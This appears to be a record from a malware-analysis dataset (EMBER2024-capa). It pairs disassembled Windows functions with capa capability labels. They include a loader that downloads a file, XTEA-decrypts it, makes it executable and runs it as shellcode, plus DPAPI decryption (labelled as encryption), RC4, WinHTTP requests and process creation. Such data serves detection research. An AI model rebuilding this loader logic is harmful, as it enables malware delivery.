joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c5225
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], ebx
jne 0x100c523e
or eax, 0xffffffff
jmp 0x100c529f
push esi
mov esi, dword [eax]
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x100c529b
push 0x3d
push esi
call fcn.100c5426
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
je 0x100c529b
cmp esi, eax
je 0x100c529b
xor ecx, ecx
cmp byte [eax + 1], cl
mov eax, dword [0x100e3fbc]
sete cl
cmp eax, dword [0x100e3fc0]
mov dword [ebp - 4], ecx
jne 0x100c5281
mov edi, eax
call fcn.100c51c4
mov dword [0x100e3fbc], eax
cmp eax, ebx
jne 0x100c52da
cmp dword [ebp + 0xc], ebx
je 0x100c52a3
cmp dword [0x100e3fc4], ebx
je 0x100c52a3
call fcn.100c463c
test eax, eax
je 0x100c52da
or eax, 0xffffffff
pop esi
pop edi
pop ebx
leave
ret
cmp dword [ebp - 4], ebx
je 0x100c52ac
xor eax, eax
jmp 0x100c529e
push 4
call fcn.100b5624
cmp eax, ebx
pop ecx
mov dword [0x100e3fbc], eax
je 0x100c529b
mov dword [eax], ebx
cmp dword [0x100e3fc4], ebx
jne 0x100c52da
push 4
call fcn.100b5624
cmp eax, ebx
pop ecx
mov dword [0x100e3fc4], eax
je 0x100c529b
mov dword [eax], ebx
mov edi, dword [ebp - 0xc]
mov ebx, dword [0x100e3fbc]
sub edi, esi
push esi
call fcn.100c5177
mov edi, eax
test edi, edi
pop ecx
jl 0x100c5341
cmp dword [ebx], 0
je 0x100c5341
lea esi, [ebx + edi*4]
push dword [esi]
call fcn.100b51bf
xor eax, eax
cmp dword [ebp - 4], eax
pop ecx
jne 0x100c5321
mov ecx, dword [ebp - 8]
mov dword [esi], ecx
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x100c5382
mov ecx, dword [esi + 4]
inc edi
mov dword [esi], ecx
lea esi, [ebx + edi*4]
cmp dword [esi], eax
jne 0x100c5318
mov eax, edi
shl eax, 2
push eax
push dword [0x100e3fbc]
call fcn.100b7395
test eax, eax
mov esi, dword [ebp - 8]
pop ecx
pop ecx
je 0x100c5382
jmp 0x100c537d
cmp dword [ebp - 4], 0
jne 0x100c53e9
test edi, edi
jge 0x100c5351
neg edi
lea eax, [edi*4 + 8]
push eax
push dword [0x100e3fbc]
call fcn.100b7395
test eax, eax
pop ecx
pop ecx
je 0x100c529b
lea ecx, [eax + edi*4]
and dword [ecx + 4], 0
mov dword [ecx], esi
mov ecx, dword [ebp + 8]
and dword [ecx], 0
mov dword [0x100e3fbc], eax
cmp dword [ebp + 0xc], 0
je 0x100c53d4
push esi
call fcn.100b8560
inc eax
inc eax
push eax
call fcn.100b5624
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x100c53d4
push esi
push edi
call fcn.100b4240
mov eax, edi
sub eax, esi
add eax, dword [ebp - 0xc]
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov byte [eax], 0
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x100c53cd
or dword [ebp - 0x10], 0xffffffff
push edi
call fcn.100b51bf
pop ecx
cmp dword [ebp - 4], 0
je 0x100c53e1
push esi
call fcn.100b51bf
pop ecx
mov eax, dword [ebp - 0x10]
jmp 0x100c529e
push esi
call fcn.100b51bf
mov eax, dword [ebp + 8]
and dword [eax], 0
pop ecx
jmp 0x100c52a8
Function at 0x100c55dd
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x100e235c]
xor eax, ebp
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.100c55ad
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.100b40f0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x100c5641
cmp dword [ebp - 0x1c], 5
jb 0x100c5659
jmp 0x100c5655
cmp dword [ebp - 0x10], 1
jne 0x100c5659
cmp dword [ebp - 0x1c], 4
ja 0x100c5655
jne 0x100c5659
cmp dword [ebp - 0x18], 0
jbe 0x100c5659
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x100dd028
call fcn.100374a8
test eax, eax
jge 0x100c567a
mov byte [0x100e31cd], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100c045b
add ebp, 0x78
leave
ret
Function at 0x401d10
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419c45
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
xor eax, eax
xor ecx, ecx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ebx
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 4], ebx
test edi, edi
jle 0x401d7e
nop dword [eax]
mov eax, dword [ebp + 8]
add eax, esi
cmp ecx, ebx
je 0x401d63
mov al, byte [eax]
mov byte [ecx], al
inc ecx
mov dword [ebp - 0x30], ecx
jmp 0x401d73
push eax
push ecx
lea ecx, [ebp - 0x34]
call fcn.004024b0
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
inc esi
cmp esi, edi
jl 0x401d50
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
sub ecx, eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], ecx
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
xor esi, esi
xor edi, edi
test eax, eax
je 0x401e32
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
add eax, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
sub eax, ecx
mov dword [ebp + 0xc], esi
mov dword [ebp + 8], eax
je 0x401e26
cmp eax, 0x7fffffff
ja 0x401edf
cmp eax, 0x1000
jb 0x401dfb
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401ee4
push ecx
call fcn.00407a61
add esp, 4
test eax, eax
je 0x401ee9
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x401e06
push eax
call fcn.00407a61
add esp, 4
mov esi, eax
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x18]
add eax, esi
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x14]
sub edi, eax
push edi
push eax
push esi
call fcn.0040a350
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
add edi, esi
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp + 0xc]
jmp 0x401e37
xor eax, eax
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], esi
mov eax, dword [ebp + 0x10]
sub edi, esi
mov byte [ebp - 4], 1
push edi
mov dword [eax], edi
call fcn.00407a9f
add esp, 4
mov dword [ebp + 8], eax
test edi, edi
je 0x401e6f
mov edx, esi
mov ecx, eax
sub edx, eax
mov al, byte [edx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edi, 1
jne 0x401e61
test esi, esi
je 0x401e9c
mov ecx, dword [ebp + 0xc]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x401e92
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ee9
push ecx
push esi
call fcn.00407a91
add esp, 8
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x401ec9
sub ebx, ecx
mov eax, ecx
cmp ebx, 0x1000
jb 0x401ebf
mov ecx, dword [eax - 4]
add ebx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ee9
push ebx
push ecx
call fcn.00407a91
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
call fcn.004025f0
call fcn.004011b0
call fcn.0040c836
int3
Function at 0x403d20
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
mov edi, ecx
mov ebx, edx
mov dword [ebp - 4], edi
test edi, edi
je 0x403e4f
test ebx, ebx
je 0x403e4f
mov eax, 0xaaaaaaab
mul ebx
mov eax, ebx
shr edx, 1
push esi
mov esi, ebx
lea ecx, [edx + edx*2]
sub eax, ecx
je 0x403d57
lea esi, [ecx + 3]
mov eax, 0xaaaaaaab
mul esi
mov esi, edx
shr esi, 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ecx, eax
lea eax, [esi*4 + 0x100]
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov byte [eax + esi*4], 0
test ebx, ebx
je 0x403e48
not dword [ebp - 4]
lea esi, [eax + 2]
lea ecx, [ebx - 1]
mov dword [ebp - 8], esi
mov eax, 0xaaaaaaab
add edi, 2
mul ecx
mov eax, edx
mov edx, 2
shr eax, 1
inc eax
mov dword [ebp - 0xc], eax
nop dword [eax]
mov ecx, dword [ebp - 4]
movzx eax, byte [edi - 2]
add ecx, edi
shl eax, 8
cmp ecx, ebx
jae 0x403dc8
movzx ecx, byte [edi - 1]
or ecx, eax
jmp 0x403dca
mov ecx, eax
shl ecx, 8
cmp edx, ebx
jae 0x403dd8
movzx eax, byte [edi]
or eax, ecx
jmp 0x403dda
mov eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + 0x41fa80]
mov byte [esi - 2], cl
mov ecx, eax
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + 0x41fa80]
mov byte [esi - 1], cl
mov ecx, dword [ebp - 4]
add ecx, edi
cmp ecx, ebx
jae 0x403e14
mov ecx, eax
shr ecx, 6
and ecx, 0x3f
mov cl, byte [ecx + 0x41fa80]
jmp 0x403e16
mov cl, 0x3d
mov esi, dword [ebp - 8]
mov byte [esi], cl
cmp edx, ebx
jae 0x403e2a
and eax, 0x3f
mov al, byte [eax + 0x41fa80]
jmp 0x403e2c
mov al, 0x3d
mov byte [esi + 1], al
add edi, 3
add esi, 4
add edx, 3
sub dword [ebp - 0xc], 1
mov dword [ebp - 8], esi
jne 0x403db0
mov eax, dword [ebp - 0x10]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x408
push 8
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
movaps xmm1, xmmword [0x420ba0]
mov edi, eax
mov ecx, 8
mov dword [edi], 0
lea edx, [edi + 0x28]
mov dword [edi + 4], 0
lea eax, [ecx - 8]
movd xmm0, eax
lea edx, [edx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [ecx - 4]
paddd xmm0, xmm1
movups xmmword [edx - 0x60], xmm0
movd xmm0, eax
lea eax, [ecx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x50], xmm0
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x40], xmm0
movd xmm0, eax
lea eax, [ecx - 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x30], xmm0
cmp eax, 0x100
jl 0x403fd4
xor edx, edx
xor ebx, ebx
xor esi, esi
nop word [eax + eax]
mov eax, dword [ebp + 8]
mov ecx, dword [edi + esi*4 + 8]
mov al, byte [edx + eax]
add al, cl
add al, bl
movzx ebx, al
mov eax, dword [edi + ebx*4 + 8]
mov dword [edi + esi*4 + 8], eax
lea eax, [edx + 1]
xor edx, edx
mov dword [edi + ebx*4 + 8], ecx
inc esi
cmp eax, 0x20
cmovl edx, eax
cmp esi, 0x100
jl 0x404040
mov edx, dword [edi]
xor esi, esi
mov ebx, dword [edi + 4]
cmp dword [ebp - 4], esi
jle 0x4040b0
nop dword [eax]
inc dl
movzx edx, dl
mov ecx, dword [edi + edx*4 + 8]
lea eax, [ebx + ecx]
movzx ebx, al
mov eax, dword [edi + ebx*4 + 8]
mov dword [edi + edx*4 + 8], eax
mov dword [edi + ebx*4 + 8], ecx
add cl, al
movzx eax, cl
mov ecx, dword [ebp - 8]
mov al, byte [edi + eax*4 + 8]
xor byte [esi + ecx], al
inc esi
cmp esi, dword [ebp - 4]
jl 0x404080
push edi
push 0
push dword [ebp - 0xc]
mov dword [edi], edx
mov dword [edi + 4], ebx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404380
Capabilities:
Allocate or change rwx memory
Check if file exists
Delete file
Download url
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push 0x400
call fcn.00407a9f
mov ebx, eax
mov ecx, str..dat
push 0x400
mov edx, ebx
call fcn.00407830
add esp, 8
test al, al
je 0x40451a
push esi
mov esi, dword [ebp + 8]
push 0
push 0
push ebx
mov eax, dword [esi + 0x3c]
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x404519
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404519
test al, 0x10
jne 0x404519
mov ecx, dword [esi + 0x3c]
lea edx, [ebp - 0x24]
xorps xmm0, xmm0
movups xmmword [ebp - 0x24], xmm0
push 0x10
mov ecx, dword [ecx + 4]
call fcn.004074d0
add esp, 4
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x10], esi
cmp esi, 0xffffffff
je 0x404512
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push dword [ebp - 0xc]
mov edi, eax
push edi
push esi
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 4
call fcn.00407a61
add esp, 4
mov dword [eax], vtable.XteaEncryptor.0
mov dword [ebp + 8], 0
mov dword [ebp - 4], 0
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp + 8]
push ecx
mov ecx, eax
push 0x10
push 0x4238e0
push 0xe00
push 0x4238f0
cmp edx, fcn.00406e10
jne 0x4044a1
call fcn.00406e10
jmp 0x4044a3
call edx
mov eax, dword [ebp + 8]
test eax, eax
je 0x4044fc
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [ebp - 4]
mov dword [ebp - 8], 0
push eax
call esi
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0xc]
push 0
push edi
call dword [ebp + 8]
mov edi, dword [ebp + 8]
xor al, al
mov ecx, 0xe00
rep stosb byte es:[edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp + 8]
call esi
push dword [ebp + 8]
call fcn.00407a5c
mov esi, dword [ebp - 0x10]
add esp, 4
mov edi, dword [ebp - 0x14]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
push ebx
call fcn.00407a5c
add esp, 4
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406d10
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, ebx
mov ecx, ebx
mov dword [ebp - 4], ebx
push esi
push edi
and ecx, 7
je 0x406d34
mov eax, 8
sub eax, ecx
add eax, ebx
mov dword [ebp - 4], eax
push eax
call fcn.00407a9f
mov edx, dword [ebp - 4]
mov esi, eax
mov edi, esi
mov dword [ebp + 0xc], esi
xor al, al
mov ecx, edx
rep stosb byte es:[edi], al
mov eax, esi
mov ecx, ebx
mov esi, dword [ebp + 8]
xor ebx, ebx
add esp, 4
mov dword [ebp - 8], ebx
mov edi, eax
rep movsb byte es:[edi], byte [esi]
test edx, edx
je 0x406deb
mov esi, dword [ebx + eax]
lea ecx, [ebx + eax]
add eax, 4
mov dword [ebp - 0xc], ecx
add eax, ebx
mov dword [ebp + 8], 0x20
mov dword [ebp - 0x10], eax
mov edi, dword [eax]
xor eax, eax
mov ebx, dword [ebp + 0x10]
mov edx, edi
shr edx, 5
mov ecx, edi
shl ecx, 4
xor edx, ecx
mov ecx, eax
and ecx, 3
add edx, edi
mov ecx, dword [ebx + ecx*4]
add ecx, eax
sub eax, 0x61c88647
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, esi
shl ecx, 4
shr edx, 5
xor edx, ecx
mov ecx, eax
shr ecx, 0xb
add edx, esi
and ecx, 3
mov ecx, dword [ebx + ecx*4]
add ecx, eax
xor edx, ecx
add edi, edx
sub dword [ebp + 8], 1
jne 0x406d81
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
mov edx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 8], ebx
mov dword [eax], esi
mov eax, dword [ebp - 0x10]
mov dword [eax], edi
mov eax, dword [ebp + 0xc]
cmp ebx, edx
jb 0x406d65
mov eax, dword [ebp + 0x18]
mov esi, dword [ebp + 0xc]
pop edi
mov dword [eax], esi
mov eax, dword [ebp + 0x1c]
pop esi
pop ebx
mov dword [eax], edx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x406e10
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 0xc]
test bl, 7
jne 0x406eea
push esi
push edi
push ebx
call fcn.00407a9f
mov esi, dword [ebp + 8]
mov edx, eax
xor al, al
mov dword [ebp - 8], edx
mov ecx, ebx
mov edi, edx
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0xc]
xor ebx, ebx
add esp, 4
mov dword [ebp - 4], ebx
test ecx, ecx
je 0x406ede
mov esi, dword [ebx + edx]
lea eax, [ebx + edx]
mov dword [ebp - 0xc], eax
lea eax, [edx + 4]
add eax, ebx
mov dword [ebp + 8], 0x20
mov dword [ebp - 0x10], eax
mov edi, dword [eax]
mov eax, 0xc6ef3720
mov ebx, dword [ebp + 0x10]
mov edx, esi
shr edx, 5
mov ecx, esi
shl ecx, 4
xor edx, ecx
mov ecx, eax
shr ecx, 0xb
add edx, esi
and ecx, 3
mov ecx, dword [ebx + ecx*4]
add ecx, eax
add eax, 0x61c88647
xor edx, ecx
sub edi, edx
mov edx, edi
mov ecx, edi
shl ecx, 4
shr edx, 5
xor edx, ecx
mov ecx, eax
and ecx, 3
add edx, edi
mov ecx, dword [ebx + ecx*4]
add ecx, eax
xor edx, ecx
sub esi, edx
sub dword [ebp + 8], 1
jne 0x406e73
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 8]
add ebx, 8
mov dword [ebp - 4], ebx
mov dword [eax], esi
mov eax, dword [ebp - 0x10]
mov dword [eax], edi
cmp ebx, dword [ebp + 0xc]
jb 0x406e54
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x18]
pop edi
pop esi
mov dword [eax], edx
mov eax, dword [ebp + 0x1c]
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x406f20
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, edx
mov dword [ebp - 0x10], eax
push ebx
mov ebx, ecx
test eax, eax
je 0x4070e8
test ebx, ebx
je 0x4070e8
cmp dword [ebp + 8], 0
je 0x4070e8
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x406f50
sub esi, ecx
mov edx, 2
inc esi
xor ecx, ecx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00407a9f
mov edx, eax
lea ecx, [esi + esi]
push esi
mov edi, edx
mov dword [ebp - 8], edx
xor al, al
push ebx
rep stosb byte es:[edi], al
push edx
call fcn.0040cbaf
mov ebx, dword [ebp - 0x10]
add esp, 0x10
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x406f93
sub esi, ecx
mov edx, 2
inc esi
xor ecx, ecx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00407a9f
mov edx, eax
lea ecx, [esi + esi]
push esi
mov edi, edx
mov dword [ebp - 0xc], edx
xor al, al
push ebx
rep stosb byte es:[edi], al
push edx
call fcn.0040cbaf
mov ebx, dword [ebp + 8]
add esp, 0x10
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x406fd6
sub esi, ecx
mov edx, 2
inc esi
xor ecx, ecx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00407a9f
mov edx, eax
lea ecx, [esi + esi]
push esi
mov edi, edx
mov dword [ebp - 0x10], edx
xor al, al
push ebx
rep stosb byte es:[edi], al
push edx
call fcn.0040cbaf
add esp, 0x10
mov byte [ebp - 1], 0
xor edi, edi
push edi
push edi
push edi
push edi
push dword [ebp - 8]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
test esi, esi
je 0x4070c3
push 0x2bf20
push 0x2bf20
push 0x2bf20
push 0x2bf20
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
push edi
push 0x50
push dword [ebp - 0xc]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, eax
test ebx, ebx
je 0x4070ac
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push 0x420b4c
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x4070ac
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
setne byte [ebp - 1]
test eax, eax
je 0x4070ac
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
setne byte [ebp - 1]
call esi
jmp 0x4070b9
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
test ebx, ebx
je 0x4070bc
push ebx
call esi
test edi, edi
je 0x4070c3
push edi
call esi
push dword [ebp - 8]
call fcn.00407a5c
push dword [ebp - 0xc]
call fcn.00407a5c
push dword [ebp - 0x10]
call fcn.00407a5c
mov al, byte [ebp - 1]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407550
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x138c
call fcn.00419980
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov dword [esp + 0xc], edi
call fcn.00407a3a
mov dword [esp + 0x1394], 0xffffffff
mov esi, 1
mov dword [esp + 0x14], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, esi
mov dword [esp + esi*4 + 0x14], eax
inc esi
cmp esi, 0x270
jb 0x407584
xor eax, eax
mov dword [esp + 0x10], 0x270
test ebx, ebx
je 0x4075fd
xor esi, esi
lea ecx, [esp + 0x10]
call fcn.00407620
mov ecx, 0x3e
mul ecx
cmp eax, ecx
jae 0x4075e4
cmp eax, 4
jae 0x4075e4
mov edi, ecx
nop dword [eax + eax]
lea ecx, [esp + 0x10]
call fcn.00407620
mul edi
cmp eax, 4
jb 0x4075d0
mov edi, dword [esp + 0xc]
mov al, byte [edx + str.abcdefghijklmnaoqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890]
mov byte [esi + edi], al
inc esi
cmp esi, ebx
jb 0x4075b0
mov byte [esi + edi], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [eax + edi], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407620
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x40767d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x407640
mov eax, dword [esi]
jmp 0x407757
cmp eax, 0x4e0
jb 0x407757
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x407696
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
nop
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x4076e0
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4077a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x54]
xor al, al
mov ecx, 0x44
rep stosb byte es:[edi], al
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
mov ecx, 0x10
rep stosb byte es:[edi], al
push 0x800
call fcn.00407a9f
add esp, 4
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
test esi, esi
push edi
setne bl
call fcn.00407a5c
add esp, 4
test esi, esi
je 0x407820
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret